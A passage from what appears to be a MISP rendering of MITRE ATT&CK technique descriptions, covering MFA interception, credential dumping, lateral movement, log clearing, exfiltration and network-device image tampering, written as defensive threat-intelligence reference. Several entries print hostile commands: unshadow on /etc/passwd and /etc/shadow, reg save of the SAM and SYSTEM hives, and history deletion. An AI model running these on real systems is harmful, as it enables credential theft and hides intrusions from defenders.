If a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)

Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)

Other methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users' phones.(Citation: Okta Scatter Swine 2022)

The tag is: misp-galaxy:mitre-attack-pattern="Multi-Factor Authentication Interception - T1111"
Host-based hiding techniques - T1314

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1314).

Host based hiding techniques are designed to allow an adversary to remain undetected on a machine upon which they have taken action. They may do this through the use of static linking of binaries, polymorphic code, exploiting weakness in file formats, parsers, or self-deleting code. (Citation: VirutAP)

The tag is: misp-galaxy:mitre-attack-pattern="Host-based hiding techniques - T1314"

Table 5155. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1314">https://attack.mitre.org/techniques/T1314</a></td>
</tr>
</tbody>
</table>

Network-based hiding techniques - T1315

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1315).

Technical network hiding techniques are methods of modifying traffic to evade network signature detection or to utilize misattribution techniques. Examples include channel/IP/VLAN hopping, mimicking legitimate operations, or seeding with misinformation. (Citation: HAMMERTOSS2015)

The tag is: misp-galaxy:mitre-attack-pattern="Network-based hiding techniques - T1315"

Table 5156. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1315">https://attack.mitre.org/techniques/T1315</a></td>
</tr>
</tbody>
</table>

Targeted client-side exploitation - T1371

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

A technique used to compromise a specific group of end users by taking advantage of flaws in client-side applications. For example, infecting websites that members of a targeted group are known to visit with the goal to infect a targeted user’s computer. (Citation: RSASEThreat) (Citation: 2356)
The tag is: `misp-galaxy:mitre-attack-pattern="Targeted client-side exploitation - T1371"`

<table>
<thead>
<tr>
<th>Table 5157. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1371">https://attack.mitre.org/techniques/T1371</a></td>
</tr>
</tbody>
</table>

**Insecure Third-Party Libraries - T1425**

Third-party libraries incorporated into mobile apps could contain malicious behavior, privacy-invasive behavior, or exploitable vulnerabilities. An adversary could deliberately insert malicious behavior or could exploit inadvertent vulnerabilities.

For example, Ryan Welton of NowSecure identified exploitable remote code execution vulnerabilities in a third-party advertisement library (Citation: NowSecure-RemoteCode). Grace et al. identified security issues in mobile advertisement libraries (Citation: Grace-Advertisement).

Platforms: Android, iOS

The tag is: `misp-galaxy:mitre-attack-pattern="Insecure Third-Party Libraries - T1425"`

**Exploit public-facing application - T1377**

This technique has been deprecated. Please use [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190).

The use of software, data, or commands to take advantage of a weakness in a computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. (Citation: GoogleCrawlerSQLInj)

The tag is: `misp-galaxy:mitre-attack-pattern="Exploit public-facing application - T1377"`

<table>
<thead>
<tr>
<th>Table 5159. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1377">https://attack.mitre.org/techniques/T1377</a></td>
</tr>
</tbody>
</table>

Search Victim-Owned Websites - T1594

Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak)

Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)).

The tag is: *misp-galaxy:mitre-attack-pattern="Search Victim-Owned Websites - T1594"

Table 5160. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1594">https://attack.mitre.org/techniques/T1594</a></td>
</tr>
<tr>
<td><a href="https://www.comparitech.com/blog/vpn-privacy/350-million-customer-records-exposed-online/">https://www.comparitech.com/blog/vpn-privacy/350-million-customer-records-exposed-online/</a></td>
</tr>
</tbody>
</table>

/etc/passwd and /etc/shadow - T1003.008

Adversaries may attempt to dump the contents of `<code>/etc/passwd</code>` and `<code>/etc/shadow</code>` to enable offline password cracking. Most modern Linux operating systems use a combination of `<code>/etc/passwd</code>` and `<code>/etc/shadow</code>` to store user account information including password hashes in `<code>/etc/shadow</code>`. By default, `<code>/etc/shadow</code>` is only readable by the root user.(Citation: Linux Password and Shadow File Formats)

The Linux utility, unshadow, can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper:(Citation: nixCraft - John the Ripper) `<code># /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db</code>`

The tag is: *misp-galaxy:mitre-attack-pattern="/etc/passwd and /etc/shadow - T1003.008"

Table 5161. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1003/008">https://attack.mitre.org/techniques/T1003/008</a></td>
</tr>
</tbody>
</table>
SMB/Windows Admin Shares - T1021.002

Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.

SMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.

Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C\`, `ADMIN\`, and `IPC\`. Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) and certain configuration and patch levels.(Citation: Microsoft Admin Shares)

The tag is: `misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002"`

Table 5162. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://support.microsoft.com/kb/314984">http://support.microsoft.com/kb/314984</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1021/002">https://attack.mitre.org/techniques/T1021/002</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem">https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem</a></td>
</tr>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Server_Message_Block">https://en.wikipedia.org/wiki/Server_Message_Block</a></td>
</tr>
<tr>
<td><a href="https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96">https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96</a></td>
</tr>
</tbody>
</table>

Disguise Root/Jailbreak Indicators - T1630.003

An adversary could use knowledge of the techniques used by security software to evade detection.(Citation: Brodie)(Citation: Tan) For example, some mobile security products perform compromised device detection by searching for particular artifacts such as an installed “su” binary, but that check could be evaded by naming the binary something else. Similarly, polymorphic code techniques could be used to evade signature-based detection.(Citation: Rastogi)
Reduce Key Space - T1600.001

Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications. (Citation: Cisco Synful Knock Evolution)

Adversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.

Adversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device. (Citation: Cisco Blog Legacy Device Attacks)

The tag is: `misp-galaxy:mitre-attack-pattern="Reduce Key Space - T1600.001"`

Security Account Manager - T1003.002

Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the `<code>net user</code>` command. Enumerating the SAM database requires...
SYSTEM level access.

A number of tools can be used to retrieve the SAM file through in-memory techniques:

- pwdumpx.exe
- [gsecdump](https://attack.mitre.org/software/S0008)
- [Mimikatz](https://attack.mitre.org/software/S0002)
- secretsdump.py

Alternatively, the SAM can be extracted from the Registry with Reg:

- <code>reg save HKLM\sam sam</code>
- <code>reg save HKLM\system system</code>

Creddump7 can then be used to process the SAM database locally to retrieve hashes. (Citation: GitHub Creddump7)

Notes:

- RID 500 account is the local, built-in administrator.
- RID 501 is the guest account.
- User accounts start with a RID of 1,000+.

The tag is: `misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002"`

Table 5165. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1003/002">https://attack.mitre.org/techniques/T1003/002</a></td>
</tr>
<tr>
<td><a href="https://github.com/Neohapsis/creddump7">https://github.com/Neohapsis/creddump7</a></td>
</tr>
</tbody>
</table>

**Disable Crypto Hardware - T1600.002**

Adversaries disable a network device’s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data.

Many network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of [Modify System Image](https://attack.mitre.org/techniques/T1601), forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001)). (Citation: Cisco Blog Legacy Device Attacks)
Table 5166. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1600/002">https://attack.mitre.org/techniques/T1600/002</a></td>
</tr>
</tbody>
</table>

Cached Domain Credentials - T1003.005

Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable. (Citation: Microsoft - Cached Creds)

On Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash. (Citation: PassLib mscache) The number of default cached credentials varies and can be altered per system. This hash does not allow pass-the-hash style attacks, and instead requires [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to recover the plaintext password. (Citation: ired mscache)

With SYSTEM access, the tools/utilities such as [Mimikatz](https://attack.mitre.org/software/S0002), [Reg](https://attack.mitre.org/software/S0075), and secretsdump.py can be used to extract the cached credentials.

Note: Cached credentials for Windows Vista are derived using PBKDF2. (Citation: PassLib mscache)

The tag is: `misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005"`

Table 5167. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1003/005">https://attack.mitre.org/techniques/T1003/005</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v%3Dws.11)">https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v%3Dws.11)</a></td>
</tr>
<tr>
<td><a href="https://github.com/mattifestation/PowerSploit">https://github.com/mattifestation/PowerSploit</a></td>
</tr>
</tbody>
</table>

Clear Command History - T1070.003

In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they’ve done.

On Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable
<code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they've used before in different sessions.

Adversaries may delete their commands from these logs by manually clearing the history (<code>history -c</code>) or deleting the bash history file <code>rm ~/.bash_history</code>.

Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to clear command history data (<code>clear logging</code> and/or <code>clear history</code>).(Citation: US-CERT-TA18-106A)

On Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the <code>PSReadLine</code> module. The built-in history only tracks the commands used in the current session. This command history is not available to other sessions and is deleted when the session ends.

The <code>PSReadLine</code> command history tracks the commands used in all PowerShell sessions and writes them to a file <code>$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt</code> by default. This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History)

Adversaries may run the PowerShell command <code>Clear-History</code> to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the <code>ConsoleHost_history.txt</code> file. Adversaries may also delete the <code>ConsoleHost_history.txt</code> file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)

The tag is: <code>misp-galaxy:mitre-attack-pattern="Clear Command History - T1070.003"</code>

### Table 5168. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1070/003">https://attack.mitre.org/techniques/T1070/003</a></td>
</tr>
<tr>
<td><a href="https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics">https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7">https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA18-106A">https://www.us-cert.gov/ncas/alerts/TA18-106A</a></td>
</tr>
</tbody>
</table>

#### Clear Mailbox Data - T1070.008

Adversaries may modify mail and mail application data to remove evidence of their activity. Email applications allow users and other programs to export and delete mailbox data via command line
tools or use of APIs. Mail application data can be emails, email metadata, or logs generated by the application or operating system, such as export requests.

Adversaries may manipulate emails and mailbox data to remove logs, artifacts, and metadata, such as evidence of [Phishing](https://attack.mitre.org/techniques/T1534), [Email Collection](https://attack.mitre.org/techniques/T1114), [Mail Protocols](https://attack.mitre.org/techniques/T1071/003) for command and control, or email-based exfiltration such as [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). For example, to remove evidence on Exchange servers adversaries have used the `<code>Remove-MailboxExportRequest</code>` module, including `<code>Remove-MailboxExportRequest</code>` to remove evidence of mailbox exports.(Citation: Volexity SolarWinds)(Citation: ExchangePowerShell Module) On Linux and macOS, adversaries may also delete emails through a command line utility called `<code>mail</code>` or use [AppleScript](https://attack.mitre.org/techniques/T1059/002) to interact with APIs on macOS.(Citation: Cybereason Cobalt Kitty 2017)(Citation: mailx man page)

Adversaries may also remove emails and metadata/headers indicative of spam or suspicious activity (for example, through the use of organization-wide transport rules) to reduce the likelihood of malicious emails being detected by security products.(Citation: Microsoft OAuth Spam 2022)

The tag is: `misp-galaxy:mitre-attack-pattern="Clear Mailbox Data - T1070.008"

**Table 5169. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1070/008">https://attack.mitre.org/techniques/T1070/008</a></td>
</tr>
<tr>
<td><a href="https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf">https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/powershell/module/exchange/?view=exchange-ps#mailboxes">https://docs.microsoft.com/en-us/powershell/module/exchange/?view=exchange-ps#mailboxes</a></td>
</tr>
<tr>
<td><a href="https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/">https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/</a></td>
</tr>
</tbody>
</table>

**Exfiltration Over Bluetooth - T1011.001**

Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an adversary may opt to exfiltrate data using a Bluetooth communication channel.

Adversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.

The tag is: `misp-galaxy:mitre-attack-pattern="Exfiltration Over Bluetooth - T1011.001"`
Dead Drop Resolver - T1102.001

Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.

Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Use of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).

The tag is: **misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001"**

Remote Desktop Protocol - T1021.001

Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.

Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)

Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1546/008) or [Terminal Services DLL](https://attack.mitre.org/techniques/T1505/005) for Persistence.(Citation: Alperovitch Malware)
Internet Connection Discovery - T1016.001

Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), `<code>tracert</code>`, and GET requests to websites.

Adversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.

Patch System Image - T1601.001

Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses. (Citation: Killing the myth of Cisco IOS rootkits) (Citation: Killing IOS diversity myth) (Citation: Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file. Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime.

To change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection. The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image.

To change the operating system in memory, the adversary typically can use one of two methods. In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system. This method typically requires administrative level access to the device.
In the second method for changing the operating system in memory, the adversary would make use of the boot loader. The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system. Adversaries may use malicious code previously implanted in the boot loader, such as through the [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) method, to directly manipulate running operating system code in memory. This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime.

By modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before. Examples of existing defenses that can be impeded include encryption, via [Weaken Encryption](https://attack.mitre.org/techniques/T1600), authentication, via [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004), and perimeter defenses, via [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599). Adding new capabilities for the adversary's purpose include [Keylogging](https://attack.mitre.org/techniques/T1056/001), [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003), and [Port Knocking](https://attack.mitre.org/techniques/T1205/001).

Adversaries may also compromise existing commands in the operating system to produce false output to mislead defenders. When this method is used in conjunction with [Downgrade System Image](https://attack.mitre.org/techniques/T1601/002), one example of a compromised system command may include changing the output of the command that shows the version of the currently running operating system. By patching the operating system, the adversary can change this command to instead display the original, higher revision number that they replaced through the system downgrade.

When the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via [TFTP Boot](https://attack.mitre.org/techniques/T1542/005).

When the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots. However, live memory modification of the operating system can be combined with [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) to achieve persistence.

The tag is: `misp-galaxy:mitre-attack-pattern=Patch System Image - T1601.001`

**Table 5174. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1601/001">https://attack.mitre.org/techniques/T1601/001</a></td>
</tr>
<tr>
<td><a href="https://tools.cisco.com/security/center/resources/integrity_assurance.html#13">https://tools.cisco.com/security/center/resources/integrity_assurance.html#13</a></td>
</tr>
<tr>
<td><a href="https://tools.cisco.com/security/center/resources/integrity_assurance.html#7">https://tools.cisco.com/security/center/resources/integrity_assurance.html#7</a></td>
</tr>
<tr>
<td><a href="https://www.blackhat.com/presentations/bh-usa-09/NEILSON/BHUSA09-Neilson-NetscreenDead-SLIDES.pdf">https://www.blackhat.com/presentations/bh-usa-09/NEILSON/BHUSA09-Neilson-NetscreenDead-SLIDES.pdf</a></td>
</tr>
</tbody>
</table>
Exfiltration over USB - T1052.001

Adversaries may attempt to exfiltrate data over a USB connected physical device. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a USB device introduced by a user. The USB device could be used as the final exfiltration point or to hop between otherwise disconnected systems.

The tag is: misp-galaxy:mitre-attack-pattern="Exfiltration over USB - T1052.001"

Table 5175. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1052/001">https://attack.mitre.org/techniques/T1052/001</a></td>
</tr>
</tbody>
</table>

Downgrade System Image - T1601.002

Adversaries may install an older version of the operating system of a network device to weaken security. Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features. (Citation: Cisco Synful Knock Evolution)

On embedded devices, downgrading the version typically only requires replacing the operating system file in storage. With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart. The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts.

Downgrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600). Downgrading of a system image can be done on its own, or it can be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001).

The tag is: misp-galaxy:mitre-attack-pattern="Downgrade System Image - T1601.002"

Table 5176. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1601/002">https://attack.mitre.org/techniques/T1601/002</a></td>
</tr>
</tbody>
</table>

Windows Remote Management - T1021.006

Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.
WinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014) WinRM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). (Citation: MSDN WMI)

The tag is: `misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1021.006"`

**File Transfer Protocols - T1071.002**

Adversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

Protocols such as SMB, FTP, FTPS, and TFTP that transfer files may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the transferred files. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.

The tag is: `misp-galaxy:mitre-attack-pattern="File Transfer Protocols - T1071.002"`

**Uninstall Malicious Application - T1630.001**

Adversaries may include functionality in malware that uninstalls the malicious application from the device. This can be achieved by:

- Abusing device owner permissions to perform silent uninstallation using device owner API calls.
• Abusing root permissions to delete files from the filesystem.
• Abusing the accessibility service. This requires sending an intent to the system to request uninstallation, and then abusing the accessibility service to click the proper places on the screen to confirm uninstallation.

The tag is: `misp-galaxy:mitre-attack-pattern="Uninstall Malicious Application - T1630.001"`

Table 5179. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1630/001">https://attack.mitre.org/techniques/T1630/001</a></td>
</tr>
</tbody>
</table>

**Invalid Code Signature - T1036.001**

Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files. (Citation: Threatexpress MetaTwin 2017)

Unlike [Code Signing](https://attack.mitre.org/techniques/T1553/002), this activity will not result in a valid signature.

The tag is: `misp-galaxy:mitre-attack-pattern="Invalid Code Signature - T1036.001"`

Table 5180. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1036/001">https://attack.mitre.org/techniques/T1036/001</a></td>
</tr>
</tbody>
</table>

**Local Data Staging - T1074.001**

Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.

Adversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry. (Citation: Prevailion DarkWatchman 2021)

The tag is: `misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001"`
Application Access Token - T1550.001

Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.

Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019)

OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)

For example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a "refresh" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)

